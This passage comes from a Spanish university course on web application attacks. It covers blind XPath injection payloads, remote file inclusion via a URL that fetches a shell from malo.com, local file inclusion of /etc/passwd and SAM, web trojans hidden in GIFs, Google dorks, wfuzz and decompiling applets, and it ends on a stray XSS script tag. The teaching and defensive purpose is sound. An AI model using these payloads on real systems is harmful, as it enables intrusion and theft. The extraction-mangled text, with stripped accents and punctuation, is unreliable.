or childnode()[position()=1 and string-length(name())gt10] or 1=1 and =
or childnode()[position()=1 and string-length(name())gt5] or 1=1 and =
or childnode()[position()=1 and string-length(name())gt7] or 1=1 and =
or childnode()[position()=1 and string-length(name())gt9] or 1=1 and =
or childnode()[position()=1 and string-length(name())=8] or 1=1 and =
Una vez se sabe que la longitud del nodo son ocho caracteres se puede sacar
el nombre del nodo siguiendo el mismo mecanismo teacutecnicas de ldquobooleaniza-
cioacutenrdquo e imaginacioacuten
or childnode()[position()=1 and starts-with(name()a)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()b)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()c)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()u)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()ua)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()ub)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()us)] and =
or childnode()[position()=1 and starts-with(name()usu)] and =
Seriacutea el mismo proceso para cada letra del nombre utilizando un charset de
caracteres y extraer cada caraacutecter desde la posicioacuten 1 hasta la posicioacuten maacutexi-
ma que seriacutea la longitud del nombre extraiacuteda inicialmente
Los pasos para extraer los atributos y elementos seriacutean exactamente los mis-
mos pero variando la consulta XPath con las siguientes plantillas
1) Para extraer informacioacuten referente a los nodos
bull Longitud del nombre
[PATH]childnode()[position()=[NUMNODO] and
string-length(name())gt[NUMERO]]
bull Nombre del nodo
[PATH]childnode()[position()=[NUMNODO] and
starts-with(name()[VALORES])]
bull Nuacutemero de subnodos
count([PATH]childnode())gt[NUMERO]
2) Para extraer la informacioacuten de los atributos
bull Nuacutemero de atributos de un nodo
count([PATH]childnode()[[NUMNODO]])gt[NUMERO]
CC-BY-NC-ND bull PID_00191662 52 Ataques a aplicaciones web
bull Longitud del nombre del atributo
[PATH]childnode()[position()=[NUMNODO]] and
string-length([PATH]childnode()
[[NUMNODO]][position()=[NUMATT] and
string-length(name())gt[NUMERO]])gt0
bull Longitud del valor del atributo
[PATH]childnode()[position()=[NUMNODO]] and
string-length([PATH]childnode()
[[NUMNODO]][position()=[NUMATT]])gt[NUMERO]
bull Nombre del atributo
[PATH]childnode()[position()=[NUMNODO]] and
[PATH]childnode()[[NUMNODO]][position()=[NUMATT] and
starts-with(name()[VALORES])
bull Valor del atributo
[PATH]childnode()[position()=[NUMNODO]] and
starts-with([PATH]childnode()
[[NUMNODO]][position()=[NUMATT]] [VALORES])
3) Para extraer el contenido de un nodo los elementos
bull Longitud del elemento
string-length([PATH]childtext())gt[NUMERO]
bull Valor del elemento
starts-with([PATH]childtext()[VALORES])
Esta teacutecnica puede resultar muy tediosa y lenta si se realiza manualmente pero
para ello ya existen herramientas que hacen este proceso de forma automaacuteti-
ca y ademaacutes utilizan teacutecnicas de optimizacioacuten como reduccioacuten del charset
para encontrar los datos realizando un reducido nuacutemero de consultas
Implementar una reduccioacuten de charset es algo simple basta con hacer una
query por cada caraacutecter y comprobar si ese caraacutecter existe en alguacuten nodo ele-
mento o atributo del aacuterbol En caso negativo se elimina ese caraacutecter del char-
set Esto puede hacerse con la siguientes query
[contains(name() a)] or [contains(name() a)]
or attribute[contains(a)] or contains( a)
Si esta nos devuelve un resultado positivo se mantiene la letra lsquoarsquo en el charset
de letras a probar sin embargo si nos devuelve la paacutegina que hemos asociado
a una peticioacuten falsa podremos eliminar el caraacutecter a del resto de pruebas a
realizar pues ya sabremos que nunca va a aparecer
CC-BY-NC-ND bull PID_00191662 53 Ataques a aplicaciones web
Otra teacutecnica interesante para la optimizacioacuten del Blind XPath Injection es el
de ldquolearn wordsrdquo de modo que cuando se extrae el nombre de un nodo ele-
mento o atributo se guarda en una lista Cuando se encuentre otro nodoele-
mentoatributo de una longitud de nombre igual a la de alguacuten elemento ya
extraiacutedo hacer comprobaciones con los nodos ya conocidos pues es probable
que si tienen la misma longitud tengan el mismo nombre
En la siguiente imagen se muestra una herramienta en funcionamiento una
vez descargado el aacuterbol XML de una aplicacioacuten web vulnerable
Figura 41 Aacuterbol XML extraiacutedo mediante una aplicacioacutenautomatizada
232 iquestCoacutemo protegerse de teacutecnicas de XPath Injection
La proteccioacuten contra este tipo de teacutecnicas es muy simple y debe correr de
la mano del programador de la aplicacioacuten Uacutenicamente hay que realizar un
filtrado de las entradas teniendo en cuenta dos factores
bull Si la entrada es numeacuterica antes de formar la query comprobar que el valor
introducido en la entrada es un valor numeacuterico y no una cadena de texto
bull Si la entrada es de texto remplazar los caracteres peligrosos como la comi-
lla simple y doble por rsquo y rdquo
CC-BY-NC-ND bull PID_00191662 54 Ataques a aplicaciones web
3 Ataques de Path Transversal
Mediante las teacutecnicas de Path Transversal se va a lograr acceder a in-
formacioacuten referente al servidor desde simplemente el directorio donde
se estaacute ejecutando la aplicacioacuten web hasta lograr descargar ficheros del
servidor Cada uno de estos fallos recibe un nombre y lo estudiaremos
por separado
La informacioacuten obtenida puede ser usada por un atacante para lograr acceder
a otros recursos de la paacutegina mediante alguacuten tipo de ingenieriacutea social o dedu-
ciendo posibles nombres de ficheros yo carpetas para posteriormente acceder
a ellos
Vamos a analizar desde los menos peligrosos hasta los maacutes criacuteticos viendo
coacutemo unos se apoyan en los anteriores y coacutemo en cierta medida dependen
unos de los otros y realmente estaacuten muy relacionados entre siacute
31 Path Disclosure
Este problema no es especiacutefico de una tecnologiacutea sino que puede darse en
cualquier lenguaje de programacioacuten y en cualquier tecnologiacutea de servidor Es-
ta vulnerabilidad no es criacutetica por siacute misma pero puede facilitar las cosas a
un atacante que intente cualquiera de los fallos que se comentaraacuten posterior-
mente
El concepto es lograr conocer la ruta en la que se estaacute ejecutando la apli-
cacioacuten Para ello nos valdremos de mensajes de error (provocados o no)
que contengan rutas a ficheros Esto lo lograremos introduciendo carac-
teres erroacuteneos en los paraacutemetros o accediendo a rutas que no existan
Figura 42 Fallo de Path Disclosure
CC-BY-NC-ND bull PID_00191662 55 Ataques a aplicaciones web
Este mensaje de error puede darse al intentar reproducir cualquiera de los de-
maacutes fallos explicados en esta seccioacuten Normalmente los lenguajes de progra-
macioacuten del lado del servidor si no tienen los errores controlados mostraraacuten
un mensaje de error predefinido que usualmente contiene la ruta del fichero
afectado
Evitar este tipo de errores es tan sencillo como generar nuestras propias paacutegi-
nas de error Tambieacuten controlar cualquier tipo de excepcioacuten en el coacutedigo es
buena praacutectica En definitiva no dejar que los mensajes por defecto se mues-
tren nunca al usuario
CC-BY-NC-ND bull PID_00191662 56 Ataques a aplicaciones web
4 Ataques de inyeccioacuten de ficheros
41 Remote file inclusion
Remote file inclusion es la vulnerabilidad consistente en ejecutar coacutedigo
remoto dentro de la aplicacioacuten vulnerable Se basa en la idea de que al
igual que es posible cargar un fichero local para su inclusioacuten dentro de la
paacutegina podriacuteamos cargar uno remoto que contuviese coacutedigo malicioso
Esto es posible en lenguajes interpretados donde podemos incluir un fichero
con coacutedigo y antildeadirlo a la ejecucioacuten En el siguiente ejemplo se toma como
base una paacutegina programada en PHP
httpwwwmipaginacommostrarphppag=indexphp
PHP hace uso de funciones que permiten la inclusioacuten de ficheros externos
para generar paacuteginas maacutes complejas y maacutes completas En el hipoteacutetico ejemplo
anterior el fichero mostrarphp hariacutea uso de alguna de estas funciones de PHP
que permiten la inclusioacuten dinaacutemica de ficheros
bull include($pag)
bull require($pag)
bull include_once($pag)
bull require_once($pag)
Estas funciones reciben un paraacutemetro (llamado $pag en este ejemplo) que in-
dica la ruta del fichero que ha de incluirse Si la variable pag no estaacute suficien-
temente controlada podremos hacer una llamada a un fichero externo que se
descargaraacute e interpretaraacute en el lado del servidor
httpwwwmipaginacommostrarphppag=httpmalocomshelltxt
En la llamada anterior el servidor mipaginacom solicitaraacute a malocom el
fichero shelltxt que incluiraacute coacutedigo PHP vaacutelido que se ejecutaraacute en
mipaginacom
Este fallo se debe a una mala configuracioacuten del servidor PHP el cual permite la
inclusioacuten de ficheros externos La configuracioacuten correcta deberiacutea ser la prohi-
bicioacuten total de realizar estas acciones
CC-BY-NC-ND bull PID_00191662 57 Ataques a aplicaciones web
Para establecer una configuracioacuten adecuada en el inteacuterprete de PHP debemos
buscar el fichero phpini de configuracioacuten (en Linux suele estar en etc
php5phpini) y establecer la clave de configuracioacuten allow_url_include
a false
Este fallo de seguridad puede dar lugar a que un atacante logre ejecutar cual-
quier coacutedigo deseado en el servidor web con los riesgos que esto conlleva
Existen ficheros ya pregenerados para ser incluidos dentro del flujo de ejecu-
cioacuten de la aplicacioacuten web Van desde un simple inteacuterprete de comandos a una
completa shell equipada con su propio explorador de ficheros opciones pa-
ra subir o descargar ficheros e incluso la posibilidad de ejecutar programas en
el equipo remoto
Figura 43 Shell remota ejecutaacutendose
Existe una gran variedad de shells remotas que podemos encontrar en Internet
Por ejemplo la shell mostrada en la figura anterior se llama c99 aunque existen
otras como la r57 o c100 De todas maneras siempre podemos programarnos
una propia con la funcionalidad que necesitemos
42 Local file inclusion
Esta vulnerabilidad al contrario que la anterior afecta tanto a lenguajes com-
pilados como interpretados Se basa en la posibilidad de incluir dentro de la
paacutegina un fichero local del usuario con el que se ejecuta el servidor de aplica-
ciones web que tenga permisos de lectura
Esta vulnerabilidad puede ocurrir en cualquier lugar de un sitio web pero suele
ser maacutes comuacuten en dos sitios bien diferenciados
bull Paacuteginas de plantillas carga un fichero desde otro y le da formato
CC-BY-NC-ND bull PID_00191662 58 Ataques a aplicaciones web
bull Paacuteginas de descargas recibe un paraacutemetro con el nombre del fichero a
descargar y lo enviacutea al cliente
El concepto tras ambos fallos es el mismo y las implementaciones defectuo-
sas a veces tambieacuten Para lograr explotar esta vulnerabilidad de una manera
satisfactoria deberiacuteamos poder hacer llamadas a ficheros fuera de la ruta ori-
ginal Esto lo hariacuteamos intentando incluir ficheros de un directorio superior
usando los caracteres en sistemas Linux o en sistemas Windows maacutes
el nombre de un fichero del que conozcamos su existencia Por ejemplo sos-
pechamos que la siguiente URL tiene un fallo de local file inclusion
httpwwwvictimacomnoticiasdetallephpid=4amptipo=deportesphp
Entonces para corroborarlo y determinar que efectivamente nos encontramos
frente a un fallo de remote file inclusion podriacuteamos modificar la URL hasta que
quedase como sigue
httpwwwvictimacomnoticiasdetallephpid=4amptipo=indexphp
Con esta simple comprobacioacuten podriacuteamos detectar si una paacutegina va a ser vul-
nerable a local file inclusion
Esta teacutecnica se puede ampliar (si los permisos lo permiten y no se aplica el
concepto del miacutenimo privilegio) a ficheros fuera del directorio de la aplicacioacuten
web y empezar a incluir ficheros del propio sistema operativo Esto nos per-
mitiraacute obtener maacutes informacioacuten sobre el equipo
Para localizar sin equivocaciones los ficheros podemos usar un fallo de Path
Disclosure para que nos deacute informacioacuten sobre la ruta local donde se ubican
estos De todas maneras y si no sabemos la ruta relativa de un fichero frente
a la paacutegina vulnerable podemos usar las rutas directas4
Existen muchos ficheros interesantes a los que acceder mediante esta teacutecnica
dependiendo de los objetivos del atacante Ademaacutes estos variaraacuten entre distin-
tos sistemas operativos A continuacioacuten se detallan algunos de estos ficheros
como muestra de la informacioacuten que podemos llegar a obtener
bull etcpasswd Fichero de usuarios en sistemas Linux Contiene un com-
pendio de los usuarios existentes asiacute como datos relativos a ellos como
nombre o directorio del home
bull etchosts Permite guardar informacioacuten sobre equipos proacuteximos Suele
contener una lista de nombre e IPS internos que nos permiten obtener una
mejor idea de la estructura interna de una organizacioacuten
bull CWindowsrepairSAM La SAM es el fichero que contiene los nombres
de usuarios y claves de los usuarios de un sistema Windows En la carpeta
(4)Una ruta directa es la que inclu-ye todo el nombre del fichero
CC-BY-NC-ND bull PID_00191662 59 Ataques a aplicaciones web
Repair se almacena una copia del fichero SAM para poder recuperarla en
caso de error del sistema
bull El propio fichero vulnerable Es muy instructivo descargar el propio fichero
vulnerable mediante el fallo de local file inclusion para poder aprender de
los problemas de otros
Para evitar que esta teacutecnica tenga mayor impacto es importante pensar en
montar el servidor con el miacutenimo privilegio posible limitando la posibilidad
de acceso a ficheros del servidor dentro de su propia carpeta con lo que lo-
gramos evitar el acceso a ficheros del sistema aunque no a ficheros propios
de la aplicacioacuten
Figura 44 Ejemplo de local file inclusion
Si queremos hacer una proteccioacuten mediante programacioacuten en lugar de contro-
larlo mediante permisos en el servidor hay que tener en cuenta que las rutas
a ficheros se pueden escribir de dos maneras
bull Directa Escribimos la ruta donde se encuentra el fichero directamente
Deberiacuteamos por tanto eliminar los caracteres o de los datos enviados
por los usuarios
bull Relativa Usamos la canonizacioacuten para subir hacia directorios superiores
mediante el uso de o Lo podriacuteamos evitar excluyendo ademaacutes
de lo anterior los puntos
43 Webtrojans
Una de las funcionalidades maacutes extendidas en paacuteginas web medianamente
complejas es la posibilidad de subir ficheros al servidor imaacutegenes documentos
en PDF ficheros de viacutedeo etc
Cuando un usuario nos enviacutea un fichero debemos comprobar que lo que nos
enviacutea es un fichero legiacutetimo es decir si estamos esperando la llegada de un
fichero con una imagen es necesario comprobar que lo que recibimos es real-
mente una imagen y no otro tipo de fichero
CC-BY-NC-ND bull PID_00191662 60 Ataques a aplicaciones web
Si no comprobamos los ficheros que se nos enviacutean podriacuteamos estar copiando
en nuestro servidor un fichero malintencionado conocido como webtrojan5
Existen multitud de shells remotas en distintos lenguajes a disposicioacuten de cual-
quiera Estas shells suelen ser detectadas por los antivirus para evitar que pasen
desapercibidas a administradores despistados pero pueden ser ldquocamufladasrdquo
dentro de otros ficheros
El ejemplo maacutes claro de coacutemo camuflar un fichero de estos es incluirlo tras
una cabecera de una imagen donde algunos servidores son capaces de ejecutar
el coacutedigo
Figura 45 Webtrojan oculto dentro de un fichero GIF
En la imagen anterior se puede ver coacutemo un fichero gif abierto con un visor
de textos deja a la vista coacutedigo PHP que va a generar una puerta trasera para
subir cualquier tipo de fichero
Para evitar este tipo de problemas debemos comprobar siempre no solo la ex-
tensioacuten sino tambieacuten la cabecera del fichero para corroborar que es del tipo
que nosotros hemos permitido Una buena praacutectica es la de establecer noso-
tros mediante programacioacuten la extensioacuten de los ficheros que se nos suben
evitando que alguien pueda subir un fichero y establecerlo con extensiones
como ASP o PHP
(5)Es una shell remota que pode-mos subir a un servidor aprove-chando un fallo de seguridad
CC-BY-NC-ND bull PID_00191662 61 Ataques a aplicaciones web
5 Google Hacking
Google indexa hoy en diacutea millones de paacuteginas web y no entiende de zonas
privadas ni restringidas Todo aquello que esteacute enlazado a alguacuten sitio y sea
accesible estaraacute en Google Si conocemos coacutemo funciona Google (y en general
los buscadores) podremos acceder a mucha informacioacuten que ni siquiera sus
propietarios saben que se encuentra ahiacute
Es por esta razoacuten por lo que saber coacutemo hacer preguntas a Google sobre la
informacioacuten que nos interesa es muy importante permitieacutendonos recopilar
mucha informacioacuten sobre un sitio web sin necesidad de realizar en principio
ninguna peticioacuten al servidor en cuestioacuten
Google ofrece varios filtros que nos permitiraacuten afinar la buacutesqueda que quere-
mos realizar y que combinados unos con otros alcanzan una potencia mucho
mayor
bull +ltpalabragt Incluir un + (maacutes) delante de una palabra requiere la presencia
obligatoria de esta palabra en las paacuteginas devueltas
bull -ltpalabragt Con un siacutembolo ndash (menos) delante de una palabra excluye
todos los resultados que contengan esa palabra
bull ldquoltpalabrasgtrdquo Al colocar una frase entre comillas dobles buscamos cadenas
completas de texto dentro de los resultados
bull Se puede usar el caraacutecter con el significado de que puede aparecer cual-
quier palabra dentro de una frase entrecomillada
bull intitlelttextogt Permite buscar en el tiacutetulo de la paacutegina
bull inurllttextogt Realiza las buacutesquedas en la URL de la paacutegina
bull intextlttextogt Busca el texto en el cuerpo de las paacuteginas devueltas
bull filetypeltextensioacutengt Restringe la buacutesqueda a la extensioacuten especifi-
cada
bull domainltdominiogt Limita los resultados al dominio especificado Se
puede usar solo el identificador del paiacutes (como es)
Con estos filtros y combinaacutendolos entre siacute podemos lograr encontrar cualquier
cosa que esteacute en Internet
CC-BY-NC-ND bull PID_00191662 62 Ataques a aplicaciones web
Figura 46 Resultados de la buacutesqueda +usersmdb intitlerdquoIndex ofrdquo
Google Hacking Database es una base de datos de buacutesquedas de corroborada
eficacia que permite obtener datos interesantes referentes a ficheros de confi-
guracioacuten zonas privadas dispositivos conectados a la red software vulnera-
ble etc
Usando este tipo de buacutesquedas se puede llegar a conocer muchiacutesimos datos
de un servidor Uno de los ejemplos maacutes claros es la posibilidad de localizar
subdominios de un dominio dado mediante buacutesquedas recursivas Vamos a
realizar un ejemplo para que quede demostrada la utilidad de estas teacutecnicas
Para empezar se selecciona un dominio en este caso se ha elegido el dominio
uoces y se ejecuta la siguiente buacutesqueda
siteuocedu
Esta buacutesqueda devuelve 587000 resultados Evidentemente todas estas paacutegi-
nas no pertenecen solo a un dominio sino que habraacute distintos sitios implica-
dos
El proceso es simple Consiste en ver cuaacutel es el subdominio del primer resul-
tado devuelto y antildeadirlo con un siacutembolo ndash (menos) delante Por ejemplo
-www siteuoces
Excluyendo el subdominio www de las buacutesquedas obtendremos un nuacutemero de
paacuteginas devueltas de 631000 Siguiendo este proceso llegaremos hasta generar
una buacutesqueda que no nos devuelva ninguacuten resultado una aproximacioacuten seriacutea
la siguiente
-acc -rusc -elcrps -blogs -personal -eprints -cataleg -osrt -clab -unescochair -elearning
-multimedia -edulab -net -itol -gres -red -lletra -laboralcentrodearte -lpg -elconcept
-biblioteca -comein -foto -guatemala -einflinux1 -cicr -campus -icesd -laos -xequia
CC-BY-NC-ND bull PID_00191662 63 Ataques a aplicaciones web
-dpcs -cimanet -comoras -marroc -colleague -colloque -xina -macedonia -oliba -cv
-www -biblio siteuoces
Cabe recordar que hasta este momento y mediante esta teacutecnica en ninguacuten
momento se ha realizado ninguna peticioacuten directa hacia el dominio uoces
por lo que seriacutea imposible conocer quieacuten estaacute intentando averiguar informa-
cioacuten sobre nuestro dominio
Otras buacutesquedas que podemos encontrar aquiacute son las que nos pueden devolver
todos los ficheros ofimaacuteticos del servidor tales como ficheros doc xls pdf
etc
Estos ficheros en sus distintas versiones incluyen mayor o menor cantidad
de metadatos que tienen informacioacuten acerca de nombres de usuarios o rutas
locales del ordenador donde se generoacute el fichero Con toda esta informacioacuten
un atacante podriacutea empezar a utilizar un programa de fuerza bruta para inten-
tar sacar las contrasentildeas
CC-BY-NC-ND bull PID_00191662 64 Ataques a aplicaciones web
6 Seguridad por ocultacioacuten
Es habitual esconder una llave ldquode emergenciardquo en alguacuten lugar cercano a la
puerta de una casa para que dado el caso podamos entrar si hemos perdido
nuestra llave Evidentemente esto no es nada seguro pues cualquier persona
que la encuentre podraacute acceder al igual que nosotros a nuestra casa
Este siacutemil con la vida real sirve para enlazar la idea con una aplicacioacuten web
Es comuacuten entre los programadores web usar directorios especiacuteficos para acti-
vidades especiacuteficas como la administracioacuten las zonas de pruebas o la subida
de ficheros temporales Algunas de las maacutes comunes son
bull admin
bull logs
bull uploads
bull phpmyadmin
bull tmp
Estos directorios se pueden descubrir mediante pruebas manuales o haciendo
uso de alguacuten programa tipo fuzzer6 que realice las peticiones por nosotros
En este caso lo vamos a usar para automatizar la buacutesqueda de directorios con
nombres conocidos
Wfuzz es un programa de este tipo realiza conexiones a un servidor web sus-
tituyendo en la zona de la URL que nosotros especifiquemos una cadena de
texto que va cogiendo liacutenea tras liacutenea de un fichero de texto
Se puede descargar gratuitamente y lo vamos a usar para realizar una demos-
tracioacuten de los datos que se pueden llegar a obtener mediante esta herramienta
Vamos a aprender a usarla pues la sintaxis es simple
wfuzzexe -z file -f wordlistscommontxt --hc 404 httpwwwvictimacomFUZZ
La liacutenea anterior representa una ejecucioacuten tiacutepica del programa Wfuzz y nos va
a servir como ejemplo para determinar cuaacuteles son los paraacutemetros maacutes uacutetiles a la
hora de realizar un anaacutelisis mediante esta herramienta Con estos paraacutemetros
estaremos indicaacutendole al programa que
bull -z Use el payload de tipo fichero Esto es los nombres de las carpetas ocul-
tas que vamos a buscar se van a coger desde un fichero de texto
(6)Un programa fuzzer es un pro-grama que automatiza tareas repe-titivas
CC-BY-NC-ND bull PID_00191662 65 Ataques a aplicaciones web
bull -f El nombre del fichero que se va a usar En este caso hemos seleccionado
el fichero commontxt que acompantildea al programa y que contiene una lista
de los nombres maacutes comunes de directorios ocultos
bull --hc 404 El paraacutemetro hc nos permite eliminar resultados de la salida del
programa en base al coacutedigo HTTP que se devuelva En el ejemplo se ha
usado el coacutedigo 404 por ser el coacutedigo asociado a los errores en el protocolo
HTTP Tambieacuten se pueden establecer filtros por nuacutemero de liacuteneas (--hl) y
palabras (--hw) que contiene una paacutegina por si nos encontramos con un
servidor que devuelva siempre una paacutegina con coacutedigo 200
bull httpwwwvictimacomFUZZ Allaacute donde coloquemos la palabra fuzz se-
raacute donde el programa incluya en cada peticioacuten la palabra siguiente del fi-
chero especificado
Figura 47 Resultado de la ejecucioacuten del programa Wfuzz
En la imagen anterior apreciamos coacutemo el programa ha detectado una serie
de directorios en el servidor analizado De estos directorios los de ldquopasswordrdquo
y ldquotestrdquo pueden resultar interesantes para comenzar a realizar una revisioacuten de
seguridad
Otra manera de encontrar directorios y ficheros ocultos en una aplicacioacuten es la
buacutesqueda del fichero robotstxt Este fichero es usado por los administradores
de sitios web para evitar que Google y otros buscadores indexen zonas que
no desean
CC-BY-NC-ND bull PID_00191662 66 Ataques a aplicaciones web
Figura 48 Ejemplo de fichero robotstxt
El problema es que mucha gente no entiende completamente el concepto de
este fichero antildeadiendo a eacutel todas las rutas que no quieren que se indexen
aunque no esteacuten enlazados desde ninguacuten sitio (recordemos que los buscado-
res solo indexan si se realiza un enlace desde alguacuten sitio) Por ello podemos
encontrarnos con ficheros robotstxt que contienen referencias a zonas admi-
nistrativas de pruebas privadas
Otro fichero que puede darnos mucha informacioacuten y que al contrario de
los anteriores es informacioacuten puacuteblica es el fichero sitemapxml El fichero
sitemapxml es un fichero propuesto por Google como una manera de indi-
carle al buscador cuaacuteles son las paacuteginas maacutes interesantes de un sitio web y
cuaacuteles son las menos actualizadas Esta informacioacuten parece obvia y podemos
descubrirla nosotros mismos navegando por la paacutegina Sin embargo es de vital
importancia pues nos ahorra tiempo en navegar por el sitio y con una sola
peticioacuten obtenemos un esquema de la estructura del mismo A continuacioacuten
se muestra un ejemplo de un fichero sitemapxml
ltxml version=10 encoding=UTF-8gt
lturlset xmlns=httpwwwsitemapsorgschemassitemap09gt
lturlgt
ltlocgthttpwwwacomltlocgt
ltlastmodgt2005-01-01ltlastmodgt
ltchangefreqgtmonthlyltchangefreqgt
ltprioritygt08ltprioritygt
lturlgt
lturlgt
ltlocgthttpwwwacomnewsltlocgt
ltchangefreqgtweeklyltchangefreqgt
lturlgt
lturlgt
ltlocgthttpwwwacomarchiveltlocgt
ltlastmodgt2004-12-23ltlastmodgt
changefreqgtweeklyltchangefreqgt
CC-BY-NC-ND bull PID_00191662 67 Ataques a aplicaciones web
lturlgt
lturlgt ltlocgthttpwwwacomfaqltlocgt
ltlastmodgt2004-12-23T180015+0000ltlastmodgt
ltprioritygt03ltprioritygt
lturlgt
lturlgt ltlocgthttpwwwacomaboutltlocgt
ltlastmodgt2004-11-23ltlastmodgt
lturlgt
lturlsetgt
61 Descompiladores de applets web
611 Flash
Flash se ha puesto cada vez maacutes de moda como una manera de ofrecer una
interfaz atractiva al usuario final En la actualidad hay multitud de paacuteginas
que hacen un uso casi abusivo de esta tecnologiacutea Pero debemos tener en con-
sideracioacuten algo importante y es que Flash no es maacutes que la capa de presenta-
cioacuten sobre la capa de datos y nunca una uacutenica capa que se encarga de todo
aunque a veces ocurre
Es por ello por lo que estas paacuteginas en Flash si cargan datos dinaacutemicamente
han de llamar a paacuteginas que se los devuelvan en funcioacuten de los paraacutemetros
proporcionados Estos paraacutemetros podriacutean ser vulnerables a las inyecciones de
coacutedigo que se comentaron anteriormente Estas llamadas a ficheros externos
se pueden observar faacutecilmente usando un sniffer del protocolo HTTP
Un ejemplo claro de esto son las paacuteginas que usan un reproductor de audio
en Flash y en las que podemos descargar los ficheros mp3 sin necesidad de ver
el coacutedigo fuente del fichero Flash
CC-BY-NC-ND bull PID_00191662 68 Ataques a aplicaciones web
Figura 49 Captura del fichero mp3 reproducido desde unreproductor web
Tambieacuten es posible en ficheros Flash la descompilacioacuten de los ficheros dando
lugar a un pseudocoacutedigo legible que permitiriacutea a un atacante conocer coacutemo
actuacutea internamente el fichero Ademaacutes es posible convertir el coacutedigo a un en-
samblador de ActionScript7 que podemos modificar y volver a compilar daacuten-
donos la posibilidad por ejemplo de incluir coacutedigo Javascript dentro de un
fichero Flash
Existen muacuteltiples programas para realizar esta accioacuten y aquiacute vamos a mostrar
coacutemo realizar esto mediante el programa Flasm de descarga gratuita
La aplicacioacuten se ejecuta desde consola Recibe el paraacutemetro ndashd para descompi-
lar el fichero swf que recibe Al volcar el coacutedigo por pantalla necesitamos redi-
rigir hacia un fichero de texto la salida del programa En este ejemplo vamos
a realizar la accioacuten con un pequentildeo juego Flash
Figura 50 Ejecucioacuten del comando flasmexe
Este comando parsea el fichero swf y extrae el coacutedigo asociado a eacutel Logra
extraer el coacutedigo y convertirlo en un lenguaje parecido al ensamblador
(7)Es el lenguaje usado internamen-te para programar las aplicacio-nes Flash Tiene una sintaxis pare-cida a Javascript y es un lenguajeinterpretado lo cual significa quepodemos lograr extraer el coacutedigofuente original del fichero swf
CC-BY-NC-ND bull PID_00191662 69 Ataques a aplicaciones web
Figura 51 Volcado del coacutedigo del fichero swf
Conocer el coacutedigo fuente de un fichero swf nos puede ayudar a entender coacutemo
funciona la aplicacioacuten a buscar fallos de seguridad en el coacutedigo o a localizar las
URL a las que hace referencia para cargar informacioacuten dentro de la aplicacioacuten
Flash Una vez localizadas estas URL seriacutea cuestioacuten de probar sobre ellas los
fallos de seguridad comentados en capiacutetulos anteriores
612 Java
Al igual que con los ficheros Flash aunque con menos popularidad en la ac-
tualidad existen los llamados applets Java pequentildeas aplicaciones que se eje-
cutan dentro de nuestro navegador
Java se ejecuta sobre una maacutequina virtual se puede ejecutar el mismo coacutedigo
en cualquier ordenador que implemente la maacutequina virtual de Java Esto tiene
muchas ventajas a la hora de exportar nuestra aplicacioacuten Sin embargo esto
tambieacuten nos permite poder extraer el coacutedigo exactamente igual que lo haciacutea-
mos en Flash
Para realizar esta accioacuten existen programas que efectuacutean esta conversioacuten y nos
muestran el coacutedigo Java original En la captura siguiente el programa usado
es Java Decompiler un programa gratuito que nos permitiraacute realizar estas ac-
ciones
CC-BY-NC-ND bull PID_00191662 70 Ataques a aplicaciones web
Figura 52 Pantalla principal del Java Decompiler
613 NET
Microsoft ha sumado su plataforma NET a la web Existen las aplicaciones
ASPNET que se ejecutan del lado del servidor y que no vamos a poder auditar
maacutes allaacute de los paraacutemetros que reciba Sin embargo estaacute poco a poco expan-
dieacutendose una nueva tecnologiacutea llamada Silverlight Silverlight es un compila-
do NET que se carga desde el servidor mediante un plugin en nuestro navega-
dor Esto al igual que Flash y Java nos permite analizar el coacutedigo fuente de
la aplicacioacuten Silverlight
Figura 53 Aplicacioacuten de muestra de Silverlight
CC-BY-NC-ND bull PID_00191662 71 Ataques a aplicaciones web
En la captura anterior se puede observar una aplicacioacuten Silverlight muy simple
Nos va a solicitar usuario y contrasentildea para lograr entrar Esta aplicacioacuten estaacute
programada para que compruebe los datos introducidos con unos datos que
estaacuten escritos dentro de la aplicacioacuten Esto es un grave fallo de seguridad y
vamos a ver coacutemo analizar el fichero para sacar el usuario y la contrasentildea
vaacutelidos El detalle de coacutedigo Javascript seriacutea
Para descargar una aplicacioacuten Silverlight debemos localizar dentro del coacutedigo
HTML la seccioacuten de coacutedigo que realice la carga del fichero XAP Este fichero
contiene todo el coacutedigo de la aplicacioacuten Silverlight y seraacute lo que nuestro na-
vegador interprete
El fichero XAP contiene una serie de ficheros necesarios para la ejecucioacuten del
programa Estos ficheros son compilados de NET y pueden ser analizados me-
diante programas como NET Reflector Los ficheros contenidos en este fiche-
ro pueden ser extraiacutedos mediante el uso de cualquier programa descompresor
pues realmente es un fichero ZIP
Figura 54ndash Fichero xap descomprimido
Una vez descomprimido se nos muestran una serie de archivos Estos archivos
contienen informacioacuten referente a la interfaz usada por la aplicacioacuten pero
realmente los datos importantes se encuentran en el fichero Test001dll (en el
ejemplo actual) Este fichero puede ser descompilado mediante el programa
indicado anteriormente y acceder al coacutedigo fuente interno En este caso se
observan dos clases principales App y MainPage
CC-BY-NC-ND bull PID_00191662 72 Ataques a aplicaciones web
Figura 55 Detalle del programa descompilado
En la imagen anterior observamos coacutemo en la clase MainPage existe un meacuteto-
do btnOK_Click Este meacutetodo es el llamado cuando pulsamos sobre el botoacuten
de Entrar de la aplicacioacuten En el coacutedigo asociado vemos coacutemo se comprueba el
nombre de usuario con la cadena ldquotestrdquo y la clave con la cadena ldquomelonrdquo
Tanto Silverlight como los applets Java o las aplicaciones Flash son una mera
forma de poner un contenido de una manera maacutes vistosa para el usuario Sin
embargo a veces los desarrolladores web lo usan como un lenguaje de progra-
macioacuten web completamente vaacutelido algo que se ha demostrado muy inseguro
CC-BY-NC-ND bull PID_00191662 73 Ataques a aplicaciones web
Bibliografiacutea
Andreu A (2006) Professional Pen Testing for Web Applications Ed Wrox
Clarke J (2009) SQL Injection Attacks and defense E Syngress
Grossman J et al (2007) Xss Attacks Cross Site Scripting Exploits And Defense Ed Syngress
Scambray J Shema M and Sima C (2006) Hacking Expose Web Applications Ed Mc-Graw-HillOsborne Media
Stuttard D (2007) The Web Application Hackers Handbook Discovering and Exploiting Secu-rity Flaws Ed Wiley
CC-BY-NC-ND bull PID_00191662 19 Ataques a aplicaciones web
ltscript src=httpisgdowYTgtltscriptgt
bull Nopodemosintroducirlacadenascriptonosenospermiteintroducir
loscaracteresdemayorque(gt)ymenorque(lt) Aunque inicialmen-
te podriacutean parecer dos casos distintos al final pueden ser resueltos de la
